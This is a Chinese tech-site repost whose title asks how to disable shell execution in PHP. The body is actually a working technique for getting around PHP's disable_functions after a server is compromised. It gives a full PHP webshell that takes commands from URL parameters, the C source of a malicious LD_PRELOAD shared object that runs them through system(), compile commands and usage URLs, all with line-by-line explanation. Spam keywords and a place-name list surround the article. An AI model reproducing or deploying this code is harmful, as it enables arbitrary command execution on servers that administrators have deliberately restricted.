91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

PHP中怎么禁用執行Shell代碼

發布時間:2021-06-29 17:21:30 來源:億速云 閱讀:496 作者:Leah 欄目:安全技術

本篇文章為大家展示了PHP中怎么禁用執行Shell代碼,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。

一、問題描述

Getshell時無法執行系統命令

二、直接利用過程

將bypass_disablefunc.php 和 bypass_disablefunc_x64.so共享文件傳到目標服務器上,指定三個參數構造URL。

http://site.com/bypass_disablefunc.php?cmd=命令執行輸入&outpath=outpath&sopath=sopath 

一是 cmd 參數,待執行的系統命令;

二是 outpath 參數,保存命令執行輸出結果的文件路徑(如 /tmp/xx),便于在頁面上顯示,另外該參數,你應注意 web 是否有讀寫權限、web 是否可跨目錄訪問、文件將被覆蓋和刪除等幾點;

三是 sopath 參數,指定劫持系統函數的共享對象的絕對路徑(如 /var/www/bypass_disablefunc_x64.so)(上傳時指定),另外關于該參數,你應注意 web 是否可跨目錄訪問到它。

前提:

了解系統信息,如果系統不是debian、x64同類型的linux系統則需要重新編譯

bypass_disablefunc_x64.so 為執行命令的共享對象,

用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 

將 bypass_disablefunc.c 編譯而來。 若目標為 x86 架構,需要加上 -m32 選項重新編譯,bypass_disablefunc_x86.so。

保證:outpath文件路徑web 是否有讀寫權限、web 是否可跨目錄訪問、文件將被覆蓋和刪除等幾點;

三、代碼執行過程描述

1、先把惡意shell指令寫成cmd >/tmp/xx 2>&1,以便讀取返回信息及錯誤信息;

2、通過寫入新的環境變量EVIL_CMDLINE(系統不存在,工程生成),從而傳遞惡意shell指令給予共享文件等待執行;

3、通過寫入LD_PRELOAD環境變量來使準備好的共享文件代碼優先加載;

4、通過mail函數觸發共享文件加載;

共享文件內容工作:通過__attribute__ ((__constructor__))修飾符修飾函數使得共享文件一旦被加載就會執行,無論觸發加載函數(這里使用的mail)是否執行成功與否、第三方插件是否存在,只要加載即執行

5、共享文件被加載,__attribute__ ((__constructor__))修飾的系統函數會比觸發加載的第三方插件函數先執行。在執行系統函數system(cmdline)前,使用extern char** environ打斷共享文件的二次加載(不然第二次加載的構造函數再執行到系統函數system(cmdline)前又第三次加載該共享文件,往返,從而到達無限循環)。

6、命令的二進制文件順利在系統的內存中被執行,執行的結果或錯誤信息都記錄到/tmp/xx文件中。

7、通過nl2br(file_get_contents($out_path)) 句子分行的顯示在網頁頁面上,最后通過unlink刪除文件,等待下一次的寫入、顯示。

四、代碼預覽

bypass_disablefunc.php文件——傳遞惡意shell命令、設置最實現最高級加載、顯示命令執行情況

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?   

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";#第一步

    putenv("EVIL_CMDLINE=" . $evil_cmdline);#第二步

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);#第三步

    mail("", "", "", "");#第四步

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 
    unlink($out_path);第七步

?>

bypass_disablefunc_x64.so文件的C語言代碼——執行惡意shell指令

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");
    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    // executive command
    system(cmdline);
}

五、代碼分析

01目的:編寫在系統調用第三方組件函數前先執行的函數

02操作

共享對象文件使用c語言來編寫

共享的函數使用__attribute__ ((__constructor__)) 進行修飾

__attribute__ ((__constructor__)) void preload (void)

03基礎概念

GCC 有個 C 語言擴展修飾符 __attribute__((constructor)),可以讓由它修飾的函數在 main() 之前執行,若它出現在共享對象中時,那么一旦共享對象被系統加載,立即將執行 。


01目的:停止環境變量對system(cmdline)函數執行前的打斷

02操作:

共享文件C語言中加入以下代碼,通過改環境寫入\0進行清空環境變量

extern char** environ ;
int i;
for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } }

03基礎概念

每個程序都有一個環境表,它是一個字符指針數組,其中每個指針包含一個以NULL結尾的C字符串的地址。全局變量environ則包含了該指針數組的地址:externchar **environ;

在調用system(cmdline);會又使得LD_PRELOAD再加載自身,這就陷入無限循環。因此寫入\0,對函數執行的環境變量修改,打斷LD_PRELOAD再加載自身,從而順利執行system(cmdline);


01目的:讀取環境變量中的惡意shell指令并執行

02操作:

共享文件C語言中加入以下代碼、使用C語言調用的系統函數

const char* cmdline = getenv("EVIL_CMDLINE");
system(cmdline);

03基礎概念

讀取環境變量函數及系統執行函數

getenv ( string $varname [, bool $local_only = FALSE ] ) : stringint 

system(const char *command);


01目的:生成系統執行的二進制文件,供于被調用

02操作:

編譯動態庫、通過c語言編寫功能函數,再使用GCC執行系統cmd命令

gcc -shared -fPIC -o 1.so 1.c

03基礎概念

在 windows 平臺和 Linux 平臺下都大量存在著庫。

庫,是一種可執行代碼的二進制形式,可以被操作系統載入內存執行。

共享庫(動態庫)的代碼是在可執行程序運行時才載入內存的,在編譯過程中僅簡單的引用,因此代碼體積較小。動態通常用.so為后綴

-fPIC 作用于編譯階段,告訴編譯器產生與位置無關代碼(Position-Independent Code),則產生的代碼中,沒有絕對地址,全部使用相對地址,故而代碼可以被加載器加載到內存的任意位置,都可以正確的執行。這正是共享庫所要求的,共享庫被加載時,在內存的位置不是固定的。

譯成 x86 架構需要加上 -m32 選項


01目的:惡意shell指令組合,輸出結果和錯誤信息都記錄到指定地方/tmp/xx,從而可以被讀取顯示結果或錯誤信息

02操作:

cmd >/tmp/xx 2>&1

03基礎概念:

2>&1 的意思就是將標準錯誤重定向到標準輸出。

Linux的文件描述符--標準輸入輸出說明

stdin,標準輸入,默認設備是鍵盤,文件編號為0。

stdout,標準輸出,默認設備是顯示器,文件編號為1,也可以重定向到文件。

stderr,標準錯誤,默認設備是顯示器,文件編號為2,也可以重定向到文件。

>&重定向符


01目的:設置環境變量的值,傳遞惡意shell指令以及指定的動態庫加載的優先級最高

02操作:

putenv("EVIL_CMDLINE=" . $evil_cmdline);
putenv("LD_PRELOAD=bypass_disablefunc_x64.so");

03基礎概念:

putenv ( string $setting ) : bool

添加 setting 到服務器環境變量。 環境變量僅存活于當前請求期間。 在請求結束時環境會恢復到初始狀態。如果環境中沒有該服務器環境變量,則會臨時存在。

EVIL_CMDLINE在環境變量是不存在,人為生成傳遞函數用

LD_PRELOAD的作用是為優先加載庫設置

一般情況下,庫加載順序為LD_PRELOAD>LD_LIBRARY_PATH> /etc/ld.so.cache>/lib>/usr/lib。

LD_PRELOAD、LD_LIBRARY_PATH都為環境變量、/etc/ld.so.cache、/usr/lib為文件目錄;


01目的:觸發系統執行編寫的二進制文件,執行__attribute__ ((__constructor__)) void preload (void);

02操作:

mail("", "", "", "");

03基礎概念

mail() 函數允許您從腳本中直接發送電子郵件。

注:php代碼中只是為了創建新進程,觸發系統對LD_PRELOAD的加載,因__attribute__ ((__constructor__)) 屬性的函數會優先main函數先執行,實際在該工程中mail不需要第三方sendmail的支持;


01目的:讀取存入/tmp/xx的信息

02操作:

nl2br(file_get_contents($out_path))

03基礎概念:

file_get_contents — 將整個文件讀入一個字符串

file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = -1 [, int$maxlen ]]]] ) : string

和 file() 一樣,只除了 file_get_contents() 把文件讀入一個字符串。將在參數 offset 所指定的位置開始讀取長度為maxlen 的內容。如果失敗,file_get_contents() 將返回 FALSE。

nl2br() 函數在字符串中的每個新行(\n)之前插入 HTML 換行符(<br> 或 <br />)。


01目的:刪除文件

02操作:

unlink($out_path);

03基礎概念

unlink(filename,context)

定義和用法

unlink() 函數刪除文件。

如果成功,該函數返回 TRUE。如果失敗,則返回 FALSE。

參數描述
filename必需。規定要刪除的文件。
context可選。規定文件句柄的環境。context 是一套可以修改流的行為的選項。

上述內容就是PHP中怎么禁用執行Shell代碼,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

php
AI

永修县| 苍梧县| 惠州市| 德庆县| 苍溪县| 福泉市| 蒙阴县| 睢宁县| 伊吾县| 罗平县| 万载县| 北安市| 墨脱县| 大城县| 广东省| 寻甸| 壤塘县| 林甸县| 保康县| 广西| 隆尧县| 新巴尔虎右旗| 伽师县| 西乡县| 柯坪县| 武胜县| 扎囊县| 广东省| 花垣县| 进贤县| 正蓝旗| 拜城县| 蓬安县| 岳阳市| 固安县| 郯城县| 广平县| 巨野县| 库车县| 玉屏| 肥东县|